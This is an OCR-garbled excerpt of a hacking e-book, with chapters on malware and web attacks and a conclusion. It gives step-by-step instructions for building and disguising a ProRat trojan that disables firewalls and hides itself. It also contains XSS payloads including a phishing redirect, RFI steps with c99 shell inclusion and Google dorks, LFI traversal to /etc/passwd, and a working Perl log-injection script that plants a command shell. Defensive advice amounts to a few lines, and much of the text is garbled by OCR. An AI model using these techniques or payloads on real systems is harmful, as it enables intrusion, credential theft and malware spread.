malware today are viruses, worms and Trojans. In this chapter we will discuss all
the types of malware, and give you an example of a windows trojan in use. The
reason we will use Windows is because malware is very rare in Linux and Mac
computers.

Definitions

1. Viruses — Viruses cannot spread without the help of us humans. They are
like parasites because they need a host to attach themselves to. The
host is usually a legitimate looking program or file. Once this program is
launched, the virus is executed and infects other files on your computer.
Viruses can be very destructive. They can do damage to your computer
hardware, software and files. Viruses are spread through the sharing of
files and are many times sent within emails via attachments.

2. Worms — A worm is a malicious program that can replicate itself onto
other computers on a network. Unlike a virus, worms don’t need a
human to be able to spread and infect systems. Once it infects a system,
it uses that system to send out other copies of itself to other random
systems attempting to infect them.

3. Trojan Horse — A trojan horse is a malicious program that can be used to
do silly things to a system like changing its desktop, mess with the user
interface, and take control of your mouse. It can also be used for some
serious things like accessing your data, erasing your files, stealing your
passwords, and capturing your keystrokes.

4. Logic Bombs — Logic bombs are usually pieces of code that are
programmed into a program that lie dormant until a certain time or until
a user does a certain action which causes it to be executed. When it is
triggered it performs a certain function that the program wasn’t
intended to do.

5. Bacteria — Bacteria make many copies of themselves and eventually end
up taking up all of the computers recourses such as all of its processor
power, memory and disk space. This results in the legitimate user losing
access to those resources.
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6. Blended Threats — Blended threats combine all of the characteristics of

the above and use them along with system vulnerabilities to spread and
infect machines.

ProRat

To show you an example of a malicious program, | will use a well known
Windows Trojan, ProRat.

1. Download ProRat. Once it is downloaded right click on the folder and

choose to extract it. A password prompt will come up. The password will be
Ilpro”.

Open up the program. You should see the following:

ProRat V1.9

PC Info Applicationz
Mezzage Windawes
J%Ehat Admin-FTP
Furnny Stuff | File kManager
|E xplorer Search Filez
Cantral Panel Reqistny
Shut Down PC| Screen Shot
Clipboard K.eplogger
Give Damage | Fazswords
R. Downloder Run
Frinter Services
Online Editor |ProConnective

Create
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3. Next we will create the actual Trojan file. Click on Create and choose Create

ProRat Server.
®p Create Downloader Server (2 Kbayt) k

B Create CGI Yickim List (16 Kbayt)
@) Help

4. Next putin your IP address so the server could connect to you. If you don’t
know your IP address click on the little arrow to have it filled in for you
automatically. Next put in your e-mail so that when and if a victim gets
infected it will send you a message. We will not be using the rest of the
options.

M R )

FroConnective Motfication [Metwork. and B outer]

M atifications :
U Foomecve Notfoston
General Settings IF [DM5] Address: 27.001| s
b ail M atific-ation
Bind with Fils Doezn't support Reverse Conneclion

B Use Mail Matifization Test

= Y| I v = ailieernail. com

Server Estenszions

ICE Pager Motification
Doesn't support Reverse Eunnectiun[«}

Sz e L Use ICQ Pager Natification
TN 157116737 O
LGl Motification
2 Hel Doesn't support Reverse Connection
@ Fep B Use CGI Notification
(eI it /Ao woLrzite, comdcgi-binprorat. cgi

Server Sizer 342 Khapt
I
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5. Click on the General Settings button to continue. Here we will choose the
server port the program will connect through, the password you will be
asked to enter when the victim is infected and you wish to connect with
them, and the victim name. As you can see ProRat has the ability to disable
the windows firewall and hide itself from being displayed in the task
manager.

M I ]

oo ||| Sereot

Cerver Pazzword: | [IEERE

General Settings Wictim N arne: victim
[ Give afake emor message. |:|
— L Mt server on install,
Eih i [ il 8P/ on start
e Dizable Windows %P SP2 Security Center
Server Extensions I-..... B Disable Windows 3P Firewall
B Clear Windows P Restore Paints.
Server loon E Dion't zend LAM notifications from [ 192168, %) or [10.%.%%]
O
| revizibility
E Hide Processes from All Task Managers [3a/2k5P]
€) Help E Hide ‘alues From All kind of Reagizty Editars [Fx/2k.54P]

E Hide Mames From Maconfig [Fx/2k5=P]
E IInT erminiate Process [2k42P]

Server Size: 342 Kbayt

6. Click on the Bind with File button to continue. Here you will have the
option to bind the trojan server file with another file. Remember a trojan
can only be executed if a human runs it. So by binding it with a legitimate
file like a text document or a game, the chances of someone clicking it go
up. Check the bind option and select a file to bind it to. In the example |
will use an ordinary text document.
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Matific ations [ Bind zerver with a file.

General Settings ‘ ‘
Thig File will be Binded:

Bind with Filz
Server Extensions %

Server lcon

@) Help

Server Size: 347 Khayt

Loak jri |f£ Desktop i & &5 EB-

'_iMy Documents

;' My Camputer
‘_;5 My Metwork Places
[ . .
ér\’lnzdla Firefox
JProRat_w1.9
Funny Joke

File name: Funny Joke [}5
Files of type: | =7 i Canhcel

7. Click on the Server Extensions button to continue. Here you choose what
kind of server file to generate. | will stick with the default because it has
icon support, but exe’s looks suspicious so it would be smart to change it.

98



M I

Matifications
I-.

H

General Settings

Bind with File

Server Extenzionz

Server lcon

) Help

Server Size: 342 Kbayt

Select S[awer Extenzion
E E+E [Hasz icon support] E SCR [Has icon support]

E FIF [Haz no icon support] E COM [Haz no icon support]
E BAT [Has no icon suppart]

Create Server

8. Click on Server Icon to continue. Here you will choose an icon for your
server file to have. The icons help mask what the file actually is. For my
example | will choose the regular text document icon since my file is a text

document.

Create Server

M otifications k

General Settings

Bind with File

Server Estensions

Server lcon

@) Help

Server Size: 342 Kbayt

YBAD BEE
oyt __[cil - 35 1
5 OEA WL
Breg@vear
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9. Finally click on Create Server to, you guessed it, create the server file.
Below is what my server file looks like.

binded_server

10. A hacker would probably rename it to something like “Funny Joke” and
send it as an attachment to some people. A hacker could also put it up as a
torrent pretending it is something else, like the latest game that just came
out so he could get people to download it.

11. Now, | will show you what happens when a victim installs the server onto
his computer and what the hacker could do next.

12. I’'m going to run the server on my own computer to show you what would
happen. Once | run it the trojan will be installed onto my computer in the
background. The hacker would then get a message telling him that | was
infected. He would then connect to my computer by typing in my IP
address, port and clicking Connect. He will be asked for the password that
he made when he created the server. Once he types it in, he will be
connected to my computer and have full control over it.

ProRat V1.% Connected[127.0.0.1]

Ip: Port: GIRLQ R: [ || Disconnect |"-|ﬂ;i|$| "i'l-ui jr,llt_d % |
E Fun ProConnective when “Windows starts

PC Info Application || P
Meszage V\i ProRat V1.9 Connected[127.0.0.1% J cannections
d

Chat &
Furiny Stuff | Filell Password:

|E xplorer Se3
Control Panel = |
Shut Down PC| Scr | 0k
Clipboard Ke'

Give Damage | FPaszswords

R. Downloder Bun

Frinter Services

Online Editor |ProConnective

Create

Server iz pagaword protected. u

100



13. Now the hacker has a lot of options to choose from as you can see on the
right. He has access to all my computer files, he can shut down my pc, get
all the saved passwords off my computer, send a message to my computer,
format my whole hard drive, take a screen shot of my computer, and so
much more. Below I'll show you a few examples.

ProRat V1.9 Connected[127.0.0.1]

Port: m R:[ || Disconnect | W |$l "i'l-*_,.fl qu t_j % |
-
- \{-Iide Dezktop lcons Sha Lack Chl+alt+Del
FClnfo | Applications Hide Start Button Show Open Chil+l+Del
Message Windowis Hide T askhar Shaw
Chat Admin-F TP Open CO-ROM Cloze Cloze Monitor
Funng Stuff | File Manager Crazy Keyboard Lights Fix it Cpen Manitar
|E xplarer Search Files Wiclate Display Fis it
Control Panel | Redisty Aidd a Tail to Mouse Fir i Open Screensaver
Shut Down PC| Screen Shot Lock Mouse G Close
Clipboard KeyLogger Make Mouze Go Crazy Fis it
Give Dlamage | Passwords FlipScreen Fix it | ©) Help
R. Downloder Run
Frirter Services
Orilire Editor |PraConnective
Create
Stait button iz hidden. |

14. The image below shows the message | would get on my screen if the
hacker chose to message me.

ProRat V1.9 Connected[127.0.0.1]

Ip: Port: m R: Dizconnect |'{-‘ Lg,l Gli{l \_)l t_j E |

Engish_——— |* —
PC Info Applications # 'E @ Send
Mesage Windows el L
CHE Ldmin-FTP <
Funng Stuff | File M anager J B es Mo
|E xplorer Search Filez
You have been hacked! i
Contral Panel | Registy fi Ok Cancel
Shut Down PC| Screen Shat I Cancel Retry
Clipboard K.ewlLogger

Give Damage | Pazswords

R. Downloder Fun

Frinker Services

Online Editor JProConnective

Create

I ezzage zent.
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15. Below is an image of my task bar after the hacker clicks on Hide Start
Button.

16. Below is an image of what the hacker would see if he chose to take a
screen shot of the victims screen.

P i ]

i

T Emanat e |

L Pee ] S 1 B

[LE R
B2 o |

Picture qualit_l,l:| Dpen Images Ditectory || Show in fullscreen || Help |
| Screen Shat [Method1] I Sereen Shat [Method2] |
| ‘webCam Shat [t ethod]] | | ‘webCam Shot [Method?] |
et | ——
HMethod2: |
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As you saw in the above example, a hacker can do a lot of silly things or a
lot of damage to the victim. ProRat is a very well known trojan so if the victim has
an anti-virus program installed he most likely won’t get infected. Many skilled
hackers can program their own viruses and Trojans that can easily bypass anti-
virus programs.

Countermeasures

There are a couple things you can do to prevent yourself from being infected
by the malware discussed in this chapter.

1. Make sure you have good and up-to-date anti-virus software installed on
your computer. Also if there is an automatic update option on your anti-
virus software, make sure it is enabled.

2. Make sure you have a firewall installed on your computer and make sure
that it is actually enabled. Firewalls protect against unauthorized inbound

and outbound connections.
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Chapter Nine
Web Hacking
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With the Web 2.0 era upon us, most websites are dynamic and allow the
users to interact with the content. Many of the web applications that run these
dynamic websites have security flaws. In this chapter, we will discuss some of the
most popular forms of attacks against web applications.

Cross Site Scripting

Cross site scripting (XSS) occurs when a user inputs malicious data into a
website, which causes the application to do something it wasn’t intended to do.
XSS attacks are very popular and some of the biggest websites have been affected
by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL. Some website
features commonly vulnerable to XSS attacks are:

e Search Engines
e Login Forms
e Comment Fields

There are three types of XSS attacks:

1. Local — Local XSS attacks are by far the rarest and the hardest to pull off.
This attack requires an exploit for a browser vulnerability. With this type of
attack, the hacker can install worms, spambots, and backdoors onto your
computer.

2. Non-Persistent — Non-persistent attacks are the most common types of
attack and don’t harm the actual website. Non-persistent attacks occur
when (- a scripting language that is used for client-side web development.) or HTML
is inserted into a variable which causes the output that the user sees to be
changed. Non-persistent attacks are only activated when the user visits the
URL crafted by the attacker.

3. Persistent — Persistent attacks are usually used against web applications like
guest books, forums, and shout boxes. Some of the things a hacker can do
with a persistent attacks are:

o Steal website cookies (Cookies are used by web browsers to store your user
information so that you can stay logged into a website even after you leave. By
stealing your cookie, the attacker can sometimes login without knowing your
password.)

e Deface the website
e Spread Worms
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Now that you know what cross site scripting is, how can you tell if a website if
vulnerable to it?

1. If there is a search field, enter a word and if that word is displayed back to
you on the next page, there’s a chance it is vulnerable.

2. Now we will insert some HTML. Search for <h1>hi</h1>, and if the word
“hi” is outputted as a big header, it is vulnerable.

<h1>hich >

Mo results for " |

hi

3. Now we will insert JavaScript. Search for <script>alert(“hi”);</script>, if
the word “hi” pops up in a popup box, then the site is vulnerable to XSS.

<script>a|er1("hi")<.l'script>|

4. Asyou can see, these examples are non-persistent. Now if a hacker found a
guestbook or something else like it that was vulnerable, he would be able
to make it persistent and everyone that visits the page would get the above
alert if that was part of his comment.

Hackers knowledgeable in JavaScript and PHP will be able to craft advanced
XSS attacks to steal your cookies and spread XSS worms, but to show you a simple
example of something more realistic then the above examples, | will show you
how a hacker could use XSS to help with phishing.

1. Let’s say a hacker wants to phish passwords from www.victim-site.com. If
he was able to find an XSS vulnerability anywhere on the website, he would
be able to craft a link pointing to the legit website that redirects to his
phishing website.
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. In the example with the popup, when | inserted the JavaScript into the
search box, a URL was formed that looked like the following:

|| htkp: fflocalhost Farm, phpPsearchboe=<scripk =alert("hi") <% 2Fscript =#search=5earch!

Here you can see that the code you typed into the search box was passed
to the “searchbox” variable.

. In the URL the hacker would then replace everything in between
?searchbox= and &search with the following JavaScript code:

<script>window.location = “http://phishing-site.com”</script>

. Now when you go to the finished link, the legitimate site will redirect to the
phishing website. Next what the hacker would do is encode the URL to
make it look more legit and less suspicious. You can encode the URL at
http://www.encodeurl.com/.

. My finished encoded URL is:
http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locati
on+%3D+%5C%22http%3A%2F%2Fphishing-
site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21

. Once the victim sees that the link points to the legitimate website, he will
be more likely to fall for the phishing attack.

Remote File Inclusion

Remote File Inclusion (RFI) occurs when a remote file, usually a shell
(a graphical interface for browsing remote files and running your own code
on a server), is included into a website which allows the hacker to execute
server side commands as the current logged on user, and have access to
files on the server. With this power the hacker can continue on to use local
exploits to escalate his privileges and take over the whole system.

Many servers are vulnerable to this kind of attack because of PHP’s
default settings of register_globals and allow_url_fopen being enabled.
Although as of PHP 6.0, register_globals has been depreciated and
removed, many websites still rely on older versions of PHP to run their web

107


http://www.encodeurl.com/�

applications. Now let’s go through the steps a hacker would take to exploit
this type of vulnerability in a website.

1. First the hacker would find a website that gets its pages via the
PHP include() function and is vulnerable to RFl. Many hackers use
Google dorks to locate servers vulnerable to RFIl. A Google dork is
the act of using Google’s provided search tools to help get a
specific search result.

2. Website that include pages have a navigation system similar to:

http://target-site.com/index.php?page=PageName

3. To see if a the page is vulnerable, the hacker would try to include
a site instead of PageName like the following:

http://target-site.com/index.php?page=http://google.com

4. If the Google homepage shows up on the website, then the
hacker knows the website is vulnerable and would continue to
include a shell.

5. A couple of the most popular shells are c99 and r57. A hacker
would either upload them to a remote server or just use a Google
dork to locate them already online and insert them. To find the a
shell the hacker would search Google for: inurl:c99.txt. This will
display many websites with the shell already up and ready to be
included. At the end of the URL make sure to add a ? so that if
anything comes after c99.txt, it will be passed to the shell and not
cause any problems. The new URL with the shell included would
look like:

http://target-site.com/index.php?page=http://site.com/c99.txt?

6. Sometimes the PHP script on the server appends “.php” to the
end of every included file. So if you included the shell, it would
end up looking like “c99.txt.php” and not work. To get around
this, you would add a null byte (%00) to the end of ¢99.txt. This
tells the server to ignore everything after c99.txt.

7. In step one, | told you that hackers use Google dorks to look for
sites possibly vulnerable to RFIs. An example of a Google dork
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would be: allinurl:.php?page=. This looks for URL’'s with
.php?page=in them. This is only an example and you most likely
won’t find any vulnerable sites with that search. You can try
switching around the word “page” with other letters and similar
words. Hackers usually search vulnerability databases like
www.milwOrm.com for already discovered RFI vulnerabilities in
site content management systems and search for websites that
are running that vulnerable web application with a Google dork.

8. If the hacker succeeds in getting the server to parse the shell, he
will be presented with a screen similar to the following:

1c99Shell v. 1.0 beta (9.06.2005) !

Software: Apache. PHP/4.4.7

uname -a: Linux server.netkosmos.com 2.6.19.2-]5-grsec #1 Fri Jun 2 11:04:05 CEST 2007 {636
uid=99 (nobody) gid=99(nobody) groups=99{nabady)

safe- mode:

Jhome! lwgB0ip6/public inc/ drwnce-xr-x

Free 48. B of 70.19

Ho Ba] [Fo UP R B
J _=i _|1 J _1 ﬂ Extraz Encoder Bind Proc. FTP brute Sec. SOL  PHP-code Feedback

Owned by hacker

Self remove Logout

Listing directory (11 files and 0 directories):

Owner/ Group Perms
drwxr xr-x
drerxr xr-x
R
J P
PR
P

-PW-T-- -

-IW-T-- -
SO -
-PW-T-- -

EL R e o

I
=
-
-
“PW-T-- -
=
-
-
-
=

-PW-T-- -

Image with selected: || confirm

:: Command execute ::

:: Upload ::

--I ¢99shell v. 1.0 beta (9.06.2005) powered by Captain Crunch Security Team | | Generation time: 0.1082 1--

The shell will display information about the remote server and list all
the files and directories on it. From here the hacker would find a
directory that has read and write privileges and upload the shell but
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this time as a .php file so that incase the vulnerability is fixed, he will
be able to access it later on.

9. The hacker would next find a way to gain root privileges on the
system. He can do this by uploading and running local exploits
against the server. He could also search the victim server for
configuration files. These files may contain username and
passwords for the MYSQL databases and such.

To protect yourself from RFI attacks, simply make sure you are using up-to-date
scripts, and make sure you server php.ini file has register_globals and
allow_url_fopen disabled.

Local File Inclusion

Local File Inclusion (LF1) is when you have the ability to browse through the
server by means of directory transversal. One of the most common uses of LFl is
to discover the fetc/passwd file. This file contains the user information of a Linux
system. Hackers find sites vulnerable to LFI the same way | discussed for RFI’s.
Let’s say a hacker found a vulnerable site, www.target-
site.com/index.php?p=about, by means of directory transversal he would try to
browse to the /etc/passwd file:

www.target-site.com/index.php?p=../../../../..]..] ../etc/passwd

The ../ you up one directory and the amount to use depends where in the server
you are located compared the location of the /etc/passwd file.

If the hacker is able to successfully get to the /etc/passwd file he would see a list
similar to the one below.

Root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
Ip:x:4:7:1p:/var/spool/lpd:/bin/false

sync:x:5:0:sync:/sbin:/bin/sync
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shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt
Each line is divided into seven parts:
username:passwd:UserlD:GrouplD:full_name:directory:shell

If the password hash was shown, the hacker would be able to crack it and get
access to the machine, but in our case the password isn’t shown. This means
that the password is shadowed and in the /etc/shadow file which the hacker
doesn’t have access to. If this was the case, the hacker would probably
attempt to get access to the system another way, through log injection.

The log directories are located in different areas in different Linux
distributions. Below is a list of the most common locations.

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
apache/logs/access.log
./../../etc/httpd/logs/acces_log
.Jetc/httpd/logs/acces.log
.Jetc/httpd/logs/error_log
.Jetc/httpd/logs/error.log
.Jvar/www/logs/access_log
.Jvar/www/logs/access.log
.Jusr/local/apache/logs/access_log
.Jusr/local/apache/logs/access.log
.Jvar/log/apache/access_log
./var/log/apache2/access_log
./var/log/apache/access.log
./var/log/apache2/access.log
./var/log/access_log
./var/log/access.log
.Jvar/www/logs/error_log
.Jvar/www/logs/error.log
.Jusr/local/apache/logs/error_log
.Jusr/local/apache/logs/error.log
./var/log/apache/error_log
./var/log/apache2/error_log

!
oAod ]
Ad A
Ad A
Ad A
Aod A
Aod A
S
S
S
oA S A
S
S
S
S
S
S
S
S
S
S
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A [var/log/apache2/error.log
AL [var/log/error_log
Ao [var/log/error.log
Below are the steps a hacker would take to take gain access to the system
through log injection.
1. First the hacker would find what operating system version the target server
is running and then search where the log files are located on that OS.
2. Next, through LFI the hacker would navigate to that file location. If he is
displayed with a bunch of logs, then he may continue.
3. The hacker would then inject some PHP code into the logs by typing
<? Passthru($_GET[‘cmd’]) ?> after = in the URL. This will cause the PHP
script to be logged because there is no file by that name. What this script
will do is give the hacker shell access and allow him to execute system
commands.
4. Now if the hacker goes back to the log file, he will see that his PHP script
wasn’t parsed and instead converted to
%3C?%20passthru($_GET[cmd])%20?%3E
5. When you submitted the script, the browser automatically encoded the
URL. Luckily there is a pearl script that can get around this problem. Below
is the pearl script, edit the variables: Ssite, Spath, Scode, and Slog to the
appropriate information.

#1/usr/bin/perl -w

use 10::Socket;

use LWP::UserAgent;

$site="www.vulnerablesite.com”;

$path="/";

$code="<? Passthru(\$_GET[cmd]) ?>;

$log = “../../../../../._ /.. /etc/httpd/logs/error_log”;

print “Trying to inject the code”;

$socket = 10::Socket:: INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>780") or die
‘“\nConnection Failed.\n\n”;

print $socket “GET “.$path.$code.” HTTP/1.1\r\n”;

print $socket “User-Agent: “_.$code.”\r\n”’;

print $socket “Host: “.$site.”\r\n”;

print $socket “Connection: close\r\n\r\n”;

close($socket);

print ‘“\nCode $code successfully injected in $log \n”’;

print ‘“\nType command to run or exit to end:

$cmd = <STDIN>;

while($cmd I~ “exit™) {

$socket = 10::Socket:: INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>780") or die
“\nConnection Failed.\n\n”;

print $socket “GET “.$path.”index.php?filename=""_%$log.”&cmd=$cmd HTTP/1.1\r\n”;
print $socket “Host: “.$site.”\r\n”;

print $socket “Accept: */*\r\n”’;

print $socket “Connection: close\r\n\n”;

while ($show = <$socket>)

{

print $show;

}

print “Type command to run or exit to end: *
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$cmd = <STDIN>;
3

6. Once the hacker runs this script and it goes successfully, he will be able to
run any command on the server. From here he can run any local exploits to
gain root, or just browse the server files.
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Chapter Ten
Conclusion
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Congratulations!

You’ve made it through the whole course! With this course, you have been
introduced to many categories in the vast subject of hacking. By now you should
be craving for more knowledge! So, what now?

Keep Learning!

That’s right! Keep learning! Choose your favorite topic in this e-book and
begin to learn more about it. Eventually when you master it, continue to another.
One of the biggest mistakes | notice with new and intermediate ethical hackers is
that they want to know everything at once. They go out and jump from topic to
topic. Time passes by and they still don’t know enough about anything. | know, |
went through this phase as well. Trust me.

One of the best ways to learn is to purchase books on your topic, subscribe to
related blogs, and join ethical hacking communities. Below is a list | put together
of some of the best hacking related websites on the internet.

e HackThisSite - Great site for continued learning in web hacking.

e HellBound Hackers - Another mainly web hacking related website.

e Astalavista - Astalavista is a community full of security professionals ready
to help you. It also has a large database of security papers and tools.

e DarkMindz - A large hacking related community that constantly provides
informative information on the forum, security papers, and source code.

e Black-Hat Forums - A great hacking related forum full of many
knowledgeable members.

Since hacking and programming go together like peanut butter and jelly, below |
have a list of a few great programming forums.

e </dream.in.code>
e Programming Forums

e Go4Expert
e CodeCall
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www.MrCracker.com

MrCracker.com is my security/hacking blog. | have just launched it and will
be constantly updating it. Come on down and subscribe to my soon to be
launched newsletter! It will be full of hacking related news and exclusive content.
The subscribe box is on the right column of my website. Hurry before it’s too late!

Suggestions

| would love to hear your honest opinion about this course. What did you
think of it? What did you like? What didn’t you like? What would you like to see in
future versions? What are you interested in? Please visit the following URL to
participate in this quick informative survey:

Click here for survey.

That’s all folks! | hope that this course has been a great learning experience for
you. If you have any questions please feel free to e-mail me at:

info@MrCracker.com

Cheers!

Dawid Melnichuk
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